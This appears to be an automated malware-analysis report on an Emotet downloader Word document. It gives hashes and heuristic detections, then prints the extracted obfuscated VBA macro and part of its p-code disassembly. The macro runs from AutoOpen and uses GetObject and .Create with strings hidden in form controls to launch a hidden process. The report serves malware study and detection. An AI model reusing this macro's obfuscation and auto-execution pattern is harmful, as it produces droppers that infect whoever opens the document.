Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7356f7ff398b84ab…

MALICIOUS

Office (OLE)

170.2 KB Created: 2019-03-28 06:21:00 Authoring application: Microsoft Office Word First seen: 2022-06-20
MD5: 5a4d064f013a4c9bca4522acd7c9fad0 SHA-1: 56a19398dc338db5a128fb90bae78c330ec9ae5c SHA-256: 7356f7ff398b84ab4a4bf89ee4fe73d41ae8f7a9ae2997b33be55a3b4a1640e8
190 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6915304-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6915304-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set CAXwcUo_ = GetObject(JkAAAU.iQDc4A.Text + UDAU4_A.qAAAXUAo + JkAAAU.iQDc4A)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 26815 bytes
SHA-256: e3e7a6ef862a24fe500f2c8e22fc5fe7ffce6a4367b9bbd77306da7c70ef9e2f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "uAA_BwUw"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "JkAAAU"
Attribute VB_Base = "0{52DC096B-751C-490D-9C1A-78F51476E10E}{2E2BCE39-5C4C-4F45-B514-166935CD0570}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "UDAU4_A"
Attribute VB_Base = "0{DD517C70-0D77-4583-B0D8-AAF8343168E4}{A96A2C5C-DB79-4BD9-AB54-6E853EE4CD67}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "qQDCcZ"
Function f_4xUA()
   If SDBGAA = S1BAwQD Then
         Cw1QD1B = (67233139 - lBD_cUA * q_AD1AX * CDate(460536452))
         VAD4AAGA = o14XAB4A / Oct(CABG1oxB) - IBQAwc * CDbl(630054528) / BACAcA * Fix(531535278 * Log(j_ACAAAA)) / RAAAQ_B * Chr(941501060) * 522680727 * Sgn(mwUcQBDB / Log(609474635))
End If
   If iAB_DA = cBZxDX Then
         ZDUAACAx = (6437404 - QDAA14QG * zAAAGAZ * CDate(498833930))
         WABwD_A = kQA_UwxA / Oct(VBZAXQ) - lDxQQkU * CDbl(501435334) / WABAUC * Fix(74420857 * Log(i_XAxA1)) / vBAGACA1 * Chr(705875475) * 162258319 * Sgn(CXAQ_G / Log(366675646))
End If
   If Q1AAD_ = wB1UDoC Then
         zAQC1AU = (307129179 - oAQxBZ * wDDDwC * CDate(401025812))
         MwBACA = VG1AxUC / Oct(DkAAAA) - wUA4DAQ * CDbl(619277582) / DBAAZAA * Fix(429371760 * Log(NCAUADAA)) / pAZBcw * Chr(793992921) * 785684208 * Sgn(mAAAooxw / Log(615865300))
End If
   If QDAAk4Z = MXCw4CAo Then
         SBkcxAc = (509808275 - qUXAAAAA * RUxZAA * CDate(332931167))
         R_GAXDBX = EkDcAB / Oct(Qc1ABxDA) - jXUZAAX_ * CDbl(120054638) / dGkA_A * Fix(27879187 * Log(zACAxABX)) / OkAABXC4 * Chr(856534805) * 435271648 * Sgn(mDcAAAA / Log(388011923))
End If
   If vkAZDUAU = CQXB1C Then
         zcBUBx = (722373790 - XCAAUDxA * s4G1XXA * CDate(935188457))
         NAAUA_ = LAUQBC / Oct(CGAAXZA) - lAUDZQ * CDbl(73317707) / aGwAwAZQ * Fix(121284590 * Log(DAUUAAG1)) / nAXZUA * Chr(156503795) * 852814676 * Sgn(Rxc_wwk_ / Log(731766567))
End If
   If zAAAXAA = hwBcDAU Then
         JZUDAkAQ = (543694291 - QABB1A * PBwUkcAA * CDate(163874068))
         DAAXAAQ = pxAQGAAU / Oct(jAUGQX) - iDZQAAXU * CDbl(493859892) / oxQQAC * Fix(295722000 * Log(B1CoGAB)) / IoxBxAQA * Chr(12592245) * 106550423 * Sgn(PADAocA / Log(371327178))
End If
   If zZDDkX = iACZB4xc Then
         FB_X44w = (560486909 - qCDZA1BD * DAwGXkA * CDate(120363099))
         T4A_oA = uZAQBkBA / Oct(kAxG_A1) - oxZADA4 * CDbl(610300145) / u4_QA_x_ * Fix(520962759 * Log(qQoBUA)) / H4XUUQAU * Chr(226037469) * 43318243 * Sgn(aGCDowZX / Log(176466882))
End If
End Function
Sub autoopen()
On Error Resume Next
   If OGGA1BDA = iDAD1Q Then
         HkxBoCA = (21443318 - pX4__A * jABAUB * CDate(761750024))
         YAwCAA = BQAAUA1 / Oct(bUAXA1wX) - uDU_DAA * CDbl(664833741) / RDxAxABU * Fix(301960582 * Log(PZCxDQ)) / ocQBQAU4 * Chr(302494254) * 370833630 * Sgn(MAQAAUDX / Log(204385647))
End If
   If CA4cBUQX = ADBAQAAD Then
         JQxDoBU = (562639347 - WAAQZG * KBXAcoo * CDate(351445518))
         MZUcXkAZ = Fc1c_DA / Oct(QABQAo) - BBAwQU * CDbl(702444548) / zABUUx * Fix(424656330 * Log(KAXU4A)) / rAUCAD * Chr(705662023) * 896524291 * Sgn(F1B14GwA / Log(981769319))
End If
   If fBC4QAA = PGkAcAGU Then
         oBBAAZ = (26999746 - M_1CAQ * Kwo_1wAG * CDate(195854571))
         dQUXZUD = GADAUUCD / Oct(QQAB__AQ) - bAA1A1A * CDbl(531575438) / MUc_BoAA * Fix(80612555 * Log(zG_ADA)) / lUC4AA * Chr(87562782) * 878043131 * Sgn(EAUDXZ / Log(605341966))
End If
Set CAXwcUo_ = GetObject(JkAAAU.iQDc4A.Text + UDAU4_A.qAAAXUAo + JkAAAU.iQDc4A)
   If iAkAAAB_ = M4cABcAk Then
         vZAA44Q = (486206593 - BBAGBQB * iCABkAD * CDate(120370294))
         nUxUAoA = CAwDGD / Oct(YAAAkAA) - ZCxAZ_A * CDbl(894357610) / AAAAAD41 * Fix(314205357 * Log(nXAAAAUB)) / TUcUwAZQ * Chr(660628223) * 488633354 * Sgn(dQAAZAG / Log(508374477))
End If
   If wA4AkZcD = Oo4XDQQ Then
         EG_BAAU = (932019443 - jUAADA * ODAGAZ * CDate(378332388))
         cD4AAAQ = XDGDUB / Oct(NAQAAQ) - ZDBUAc_c * CDbl(406938312) / PoAAC_A * Fix(176679089 * Log(JG_4_AA)) / PAU4kU * Chr(230950151) * 394239520 * Sgn(fGUBcQ1 / Log(212283622))
End If
If 937669 = 937669 Then
   If G4GUUAo4 = kwABX1U Then
         aB_AC1 = (597807309 - LAXAAAG * ZZxBB4xA * CDate(248873351))
         FcAAXG1G = VkADDAXc / Oct(uAZA4DGx) - vAD_UwB1 * CDbl(526012028) / BkAADD_ * Fix(185386043 * Log(EQDBG_AA)) / PAAADQXC * Chr(140628851) * 500347350 * Sgn(UABAABw / Log(722842117))
End If
   If KCoADU = AABxUAAA Then
         iXC4AA = (342019645 - zZoDUDUQ * voGUAxcD * CDate(611875385))
         YQAUkA14 = PCooUAAA / Oct(YZCUUc) - dDDAAAZU * CDbl(961306029) / lkXAA4C * Fix(778319873 * Log(tUACC_CB)) / GAUxQG * Chr(570181169) * 789227567 * Sgn(jXBBAX1 / Log(258564751))
End If
   If WAwxwA = NAAUkBD Then
         DcABAQA1 = (232971884 - QDAAxw_w * JUAk1A * CDate(24775500))
         cACwUAAA = DAcQDkXA / Oct(uDoQBoAX) - Yk4AUADB * CDbl(208625664) / Y1_ABX * Fix(172819388 * Log(FAccA_)) / iAD4AX1 * Chr(922943337) * 139578793 * Sgn(hAAUAZAQ / Log(410181613))
End If
CAXwcUo_.ShOwWiNdOw = DwAo1A4Z + JkAAAU.iCQAQB + wXUABA
   If owwoBU = hkAQwxA Then
         EA_UAk = (964682700 - E_BADc * tcUA_A * CDate(129159621))
         lABQZUA = DUQQkA / Oct(jAAcADA) - mQZAwD * CDbl(5281238) / LoABAZA * Fix(930628547 * Log(ZDokXC)) / pAGAA4DA * Chr(296675117) * 824125207 * Sgn(SQAUABAA / Log(250776315))
End If
   If lkAUXG = BUcA4wAX Then
         jBcBcBA = (260240878 - LAQAw4A * JDkkBAAB * CDate(527839218))
         PwBXXAXA = DA_A_c / Oct(dcUAUB) - WAQAckZ * CDbl(446151138) / KAQ4UG * Fix(177575317 * Log(XGwUBQ)) / oD_A1AGX * Chr(49465648) * 383971556 * Sgn(zAxB_Q / Log(544069940))
End If
   If m1AXBB = bAZ_xAk Then
         WDAAAD = (282686642 - jAkxACAB * NAU_4AU * CDate(634066881))
         jCAABkA = YCQZ4A / Oct(aUQA_A) - Tx4Xwo * CDbl(727808531) / OAZDAA * Fix(796321631 * Log(jBAAA1x)) / vGkwQAGZ * Chr(106609805) * 546606775 * Sgn(iw_wDUDo / Log(352128238))
End If
End If
   If VBA_AwUA = bQC4UD Then
         jA4AAUw = (146911862 - CwZ_xA * SACAXZQ * CDate(925785520))
         dCZAQA4 = jA4wkw_ / Oct(bAQUAA) - ZQBDXoAA * CDbl(587867699) / UAQBAoA4 * Fix(738589427 * Log(jAUDUUAB)) / voABB1_A * Chr(358107636) * 581599304 * Sgn(kUUAwA / Log(840272771))
End If
   If ZAZUAD = V1A_AABA Then
         UUAxAX = (506344676 - qAZXAB * ZAAZwck * CDate(819849989))
         FDGAUU_ = t_cAoA / Oct(fADkAxc) - pUXAwX * CDbl(853706427) / v_QQQUo * Fix(545923105 * Log(aAxoAZZA)) / XAUAkAQ * Chr(596728823) * 869857736 * Sgn(HG_AZC / Log(826043631))
End If
Call GetObject(JkAAAU.iQDc4A.PasswordChar + UDAU4_A.ZAoBAB + JkAAAU.iQDc4A.Tag).Create((JkAAAU.iQDc4A.Tag + UDAU4_A.B1AX1AU_ + JkAAAU.iQDc4A.PasswordChar + UDAU4_A.iDBGwk + JkAAAU.iQDc4A.Text + JkAAAU.iQDc4A.Tag + UDAU4_A.WkAQGQQU + JkAAAU.iQDc4A.Tag + JkAAAU.iQDc4A.Tag + UDAU4_A.ccU4Ao + JkAAAU.iQDc4A.Tag + UDAU4_A.FUQGUQ + JkAAAU.iQDc4A.PasswordChar), aADDGA_o, CAXwcUo_, JkAAAU.iQDc4A.PasswordChar)
   If Nk4ZAGAC = WAXUAx Then
         wA4BwA = (992647562 - QGQ1CAAA * ZcBAxGQX * CDate(209912985))
         lCZwUA = uAQ_UcAA / Oct(IAwAAXX) - dAAcQ4A * CDbl(605545053) / DADC_U * Fix(331393721 * Log(GAAUCUA)) / UUAA44AQ * Chr(469644903) * 429716463 * Sgn(zUBxQwDk / Log(778296814))
End If
   If lBUBXAA = HAoAQDA_ Then
         zAA1oAA = (272777726 - f_BQQAB * zACA1_c * CDate(710568689))
         YUQGAUkc = MQAAADG / Oct(O_QxAQ) - E_Bo4Q * CDbl(471726971) / DAADADxQ * Fix(421848534 * Log(tDAAk44A)) / lkAGAZAG * Chr(628989295) * 786621083 * Sgn(V1B_xoU / Log(534389538))
End If
   If BAAAA1BQ = kABAxUZ Then
         nwQxXGAA = (887815953 - EQAkDAAX * PwxQ_1wk * CDate(548869346))
         ixAAZQ = rBCAAQAZ / Oct(KD1Aw_) - ZUDDAA_ * CDbl(601081294) / ZDoADwA * Fix(885671421 * Log(tc1QZADQ)) / pAAc1Q * Chr(599773826) * 730324843 * Sgn(wBkAxAU / Log(169396398))
End If
End Sub


' Processing file: /opt/analyzer/scan_staging/c9d582dfaed04ad58227f28e44011453.bin
' ===============================================================================
' Module streams:
' Macros/VBA/uAA_BwUw - 1106 bytes
' Macros/VBA/JkAAAU - 1154 bytes
' Macros/VBA/UDAU4_A - 1158 bytes
' Macros/VBA/qQDCcZ - 11703 bytes
' Line #0:
' 	FuncDefn (Function qQDCcZ())
' Line #1:
' 	Ld f_4xUA 
' 	Ld SDBGAA 
' 	Eq 
' 	IfBlock 
' Line #2:
' 	LitDI4 0xE573 0x0401 
' 	Ld Cw1QD1B 
' 	Ld lBD_cUA 
' 	Mul 
' 	LitDI4 0x3A84 0x1B73 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St S1BAwQD 
' Line #3:
' 	Ld VAD4AAGA 
' 	Ld o14XAB4A 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld CABG1oxB 
' 	LitDI4 0xDE80 0x258D 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld IBQAwc 
' 	Div 
' 	LitDI4 0x95AE 0x1FAE 
' 	Ld BACAcA 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld j_ACAAAA 
' 	Div 
' 	LitDI4 0x2A84 0x381E 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0x7997 0x1F27 
' 	Mul 
' 	Ld RAAAQ_B 
' 	LitDI4 0xD84B 0x2453 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St q_AD1AX 
' Line #4:
' 	EndIfBlock 
' Line #5:
' 	Ld mwUcQBDB 
' 	Ld iAB_DA 
' 	Eq 
' 	IfBlock 
' Line #6:
' 	LitDI4 0x3A1C 0x0062 
' 	Ld ZDUAACAx 
' 	Ld QDAA14QG 
' 	Mul 
' 	LitDI4 0x9A0A 0x1DBB 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St cBZxDX 
' Line #7:
' 	Ld WABwD_A 
' 	Ld kQA_UwxA 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld VBZAXQ 
' 	LitDI4 0x4BC6 0x1DE3 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld lDxQQkU 
' 	Div 
' 	LitDI4 0x9279 0x046F 
' 	Ld WABAUC 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld i_XAxA1 
' 	Div 
' 	LitDI4 0xCE13 0x2A12 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0xDD8F 0x09AB 
' 	Mul 
' 	Ld vBAGACA1 
' 	LitDI4 0x06BE 0x15DB 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St zAAAGAZ 
' Line #8:
' 	EndIfBlock 
' Line #9:
' 	Ld CXAQ_G 
' 	Ld Q1AAD_ 
' 	Eq 
' 	IfBlock 
' Line #10:
' 	LitDI4 0x6B5B 0x124E 
' 	Ld zAQC1AU 
' 	Ld oAQxBZ 
' 	Mul 
' 	LitDI4 0x2B14 0x17E7 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St wB1UDoC 
' Line #11:
' 	Ld MwBACA 
' 	Ld VG1AxUC 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld DkAAAA 
' 	LitDI4 0x6D0E 0x24E9 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld wUA4DAQ 
' 	Div 
' 	LitDI4 0xB170 0x1997 
' 	Ld DBAAZAA 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld NCAUADAA 
' 	Div 
' 	LitDI4 0x5ED9 0x2F53 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0x96F0 0x2ED4 
' 	Mul 
' 	Ld pAZBcw 
' 	LitDI4 0x5BD4 0x24B5 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St wDDDwC 
' Line #12:
' 	EndIfBlock 
' Line #13:
' 	Ld mAAAooxw 
' 	Ld QDAAk4Z 
' 	Eq 
' 	IfBlock 
' Line #14:
' 	LitDI4 0x0E93 0x1E63 
' 	Ld SBkcxAc 
' 	Ld qUXAAAAA 
' 	Mul 
' 	LitDI4 0x205F 0x13D8 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St MXCw4CAo 
' Line #15:
' 	Ld R_GAXDBX 
' 	Ld EkDcAB 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld Qc1ABxDA 
' 	LitDI4 0xE36E 0x0727 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld jXUZAAX_ 
' 	Div 
' 	LitDI4 0x6713 0x01A9 
' 	Ld dGkA_A 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld zACAxABX 
' 	Div 
' 	LitDI4 0xAF15 0x330D 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0xB7E0 0x19F1 
' 	Mul 
' 	Ld OkAABXC4 
' 	LitDI4 0x9793 0x1720 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St RUxZAA 
' Line #16:
' 	EndIfBlock 
' Line #17:
' 	Ld mDcAAAA 
' 	Ld vkAZDUAU 
' 	Eq 
' 	IfBlock 
' Line #18:
' 	LitDI4 0x8C9E 0x2B0E 
' 	Ld zcBUBx 
' 	Ld XCAAUDxA 
' 	Mul 
' 	LitDI4 0xD7E9 0x37BD 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St CQXB1C 
' Line #19:
' 	Ld NAAUA_ 
' 	Ld LAUQBC 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld CGAAXZA 
' 	LitDI4 0xBD4B 0x045E 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld lAUDZQ 
' 	Div 
' 	LitDI4 0xA7EE 0x073A 
' 	Ld aGwAwAZQ 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld DAUUAAG1 
' 	Div 
' 	LitDI4 0x0EF3 0x0954 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0xEB54 0x32D4 
' 	Mul 
' 	Ld nAXZUA 
' 	LitDI4 0xDF27 0x2B9D 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St s4G1XXA 
' Line #20:
' 	EndIfBlock 
' Line #21:
' 	Ld Rxc_wwk_ 
' 	Ld zAAAXAA 
' 	Eq 
' 	IfBlock 
' Line #22:
' 	LitDI4 0x1DD3 0x2068 
' 	Ld JZUDAkAQ 
' 	Ld QABB1A 
' 	Mul 
' 	LitDI4 0x8514 0x09C4 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St hwBcDAU 
' Line #23:
' 	Ld DAAXAAQ 
' 	Ld pxAQGAAU 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld jAUGQX 
' 	LitDI4 0xB434 0x1D6F 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld iDZQAAXU 
' 	Div 
' 	LitDI4 0x5C10 0x11A0 
' 	Ld oxQQAC 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld B1CoGAB 
' 	Div 
' 	LitDI4 0x2475 0x00C0 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0xD497 0x0659 
' 	Mul 
' 	Ld IoxBxAQA 
' 	LitDI4 0x00CA 0x1622 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St PBwUkcAA 
' Line #24:
' 	EndIfBlock 
' Line #25:
' 	Ld PADAocA 
' 	Ld zZDDkX 
' 	Eq 
' 	IfBlock 
' Line #26:
' 	LitDI4 0x59FD 0x2168 
' 	Ld FB_X44w 
' 	Ld qCDZA1BD 
' 	Mul 
' 	LitDI4 0x985B 0x072C 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St iACZB4xc 
' Line #27:
' 	Ld T4A_oA 
' 	Ld uZAQBkBA 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld kAxG_A1 
' 	LitDI4 0x70F1 0x2460 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld oxZADA4 
' 	Div 
' 	LitDI4 0x42C7 0x1F0D 
' 	Ld u4_QA_x_ 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld qQoBUA 
' 	Div 
' 	LitDI4 0x0EDD 0x0D79 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0xFBE3 0x0294 
' 	Mul 
' 	Ld H4XUUQAU 
' 	LitDI4 0xABC2 0x0A84 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St DAwGXkA 
' Line #28:
' 	EndIfBlock 
' Line #29:
' 	EndFunc 
' Line #30:
' 	FuncDefn (Sub aGCDowZX())
' Line #31:
' 	OnError (Resume Next) 
' Line #32:
' 	Ld autoopen 
' 	Ld OGGA1BDA 
' 	Eq 
' 	IfBlock 
' Line #33:
' 	LitDI4 0x32F6 0x0147 
' 	Ld HkxBoCA 
' 	Ld pX4__A 
' 	Mul 
' 	LitDI4 0x6208 0x2D67 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St iDAD1Q 
' Line #34:
' 	Ld YAwCAA 
' 	Ld BQAAUA1 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld bUAXA1wX 
' 	LitDI4 0x8ECD 0x27A0 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld uDU_DAA 
' 	Div 
' 	LitDI4 0x8D86 0x11FF 
' 	Ld RDxAxABU 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld PZCxDQ 
' 	Div 
' 	LitDI4 0xB22E 0x1207 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0x78DE 0x161A 
' 	Mul 
' 	Ld ocQBQAU4 
' 	LitDI4 0xAD6F 0x0C2E 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St jABAUB 
' Line #35:
' 	EndIfBlock 
' Line #36:
' 	Ld MAQAAUDX 
' 	Ld CA4cBUQX 
' 	Eq 
' 	IfBlock 
' Line #37:
' 	LitDI4 0x31F3 0x2189 
' 	Ld JQxDoBU 
' 	Ld WAAQZG 
' 	Mul 
' 	LitDI4 0xA20E 0x14F2 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St ADBAQAAD 
' Line #38:
' 	Ld MZUcXkAZ 
' 	Ld Fc1c_DA 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld QABQAo 
' 	LitDI4 0x7404 0x29DE 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld BBAwQU 
' 	Div 
' 	LitDI4 0xBDCA 0x194F 
' 	Ld zABUUx 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld KAXU4A 
' 	Div 
' 	LitDI4 0x8C47 0x2A0F 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0xE003 0x356F 
' 	Mul 
' 	Ld rAUCAD 
' 	LitDI4 0x9C67 0x3A84 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St KBXAcoo 
' Line #39:
' 	EndIfBlock 
' Line #40:
' 	Ld F1B14GwA 
' 	Ld fBC4QAA 
' 	Eq 
' 	IfBlock 
' Line #41:
' 	LitDI4 0xFBC2 0x019B 
' 	Ld oBBAAZ 
' 	Ld M_1CAQ 
' 	Mul 
' 	LitDI4 0x80EB 0x0BAC 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St PGkAcAGU 
' Line #42:
' 	Ld dQUXZUD 
' 	Ld GADAUUCD 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld QQAB__AQ 
' 	LitDI4 0x328E 0x1FAF 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld bAA1A1A 
' 	Div 
' 	LitDI4 0x0CCB 0x04CE 
' 	Ld MUc_BoAA 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld zG_ADA 
' 	Div 
' 	LitDI4 0x1A1E 0x0538 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0xDFFB 0x3455 
' 	Mul 
' 	Ld lUC4AA 
' 	LitDI4 0xC90E 0x2414 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St Kwo_1wAG 
' Line #43:
' 	EndIfBlock 
' Line #44:
' 	SetStmt 
' 	Ld UDAU4_A 
' 	MemLd GetObject 
' 	MemLd Text 
' 	Ld MSForms 
' 	MemLd iQDc4A 
' 	Add 
' 	Ld UDAU4_A 
' 	MemLd GetObject 
' 	Add 
' 	ArgsLd CAXwcUo_ 0x0001 
' 	Set EAUDXZ 
' Line #45:
' 	Ld qAAAXUAo 
' 	Ld iAkAAAB_ 
' 	Eq 
' 	IfBlock 
' Line #46:
' 	LitDI4 0xEC81 0x1CFA 
' 	Ld vZAA44Q 
' 	Ld BBAGBQB 
' 	Mul 
' 	LitDI4 0xB476 0x072C 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St M4cABcAk 
' Line #47:
' 	Ld nUxUAoA 
' 	Ld CAwDGD 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld YAAAkAA 
' 	LitDI4 0xD06A 0x354E 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld ZCxAZ_A 
' 	Div 
' 	LitDI4 0x64AD 0x12BA 
' 	Ld AAAAAD41 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld nXAAAAUB 
' 	Div 
' 	LitDI4 0x62FF 0x2760 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0xF40A 0x1D1F 
' 	Mul 
' 	Ld TUcUwAZQ 
' 	LitDI4 0x2DCD 0x1E4D 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St iCABkAD 
' Line #48:
' 	EndIfBlock 
' Line #49:
' 	Ld dQAAZAG 
' 	Ld wA4AkZcD 
' 	Eq 
' 	IfBlock 
' Line #50:
' 	LitDI4 0x7CF3 0x378D 
' 	Ld EG_BAAU 
' 	Ld jUAADA 
' 	Mul 
' 	LitDI4 0xE4E4 0x168C 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St Oo4XDQQ 
' Line #51:
' 	Ld cD4AAAQ 
' 	Ld XDGDUB 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld NAQAAQ 
' 	LitDI4 0x62C8 0x1841 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld ZDBUAc_c 
' 	Div 
' 	LitDI4 0xE8B1 0x0A87 
' 	Ld PoAAC_A 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld JG_4_AA 
' 	Div 
' 	LitDI4 0x0507 0x0DC4 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0x9E20 0x177F 
' 	Mul 
' 	Ld PAU4kU 
' 	LitDI4 0x30E6 0x0CA7 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St ODAGAZ 
' Line #52:
' 	EndIfBlock 
' Line #53:
' 	LitDI4 0x4EC5 0x000E 
' 	LitDI4 0x4EC5 0x000E 
' 	Eq 
' 	IfBlock 
' Line #54:
' 	Ld fGUBcQ1 
' 	Ld G4GUUAo4 
' 	Eq 
' 	IfBlock 
' Line #55:
' 	LitDI4 0xD0CD 0x23A1 
' 	Ld aB_AC1 
' 	Ld LAXAAAG 
' 	Mul 
' 	LitDI4 0x8187 0x0ED5 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St kwABX1U 
' Line #56:
' 	Ld FcAAXG1G 
' 	Ld VkADDAXc 
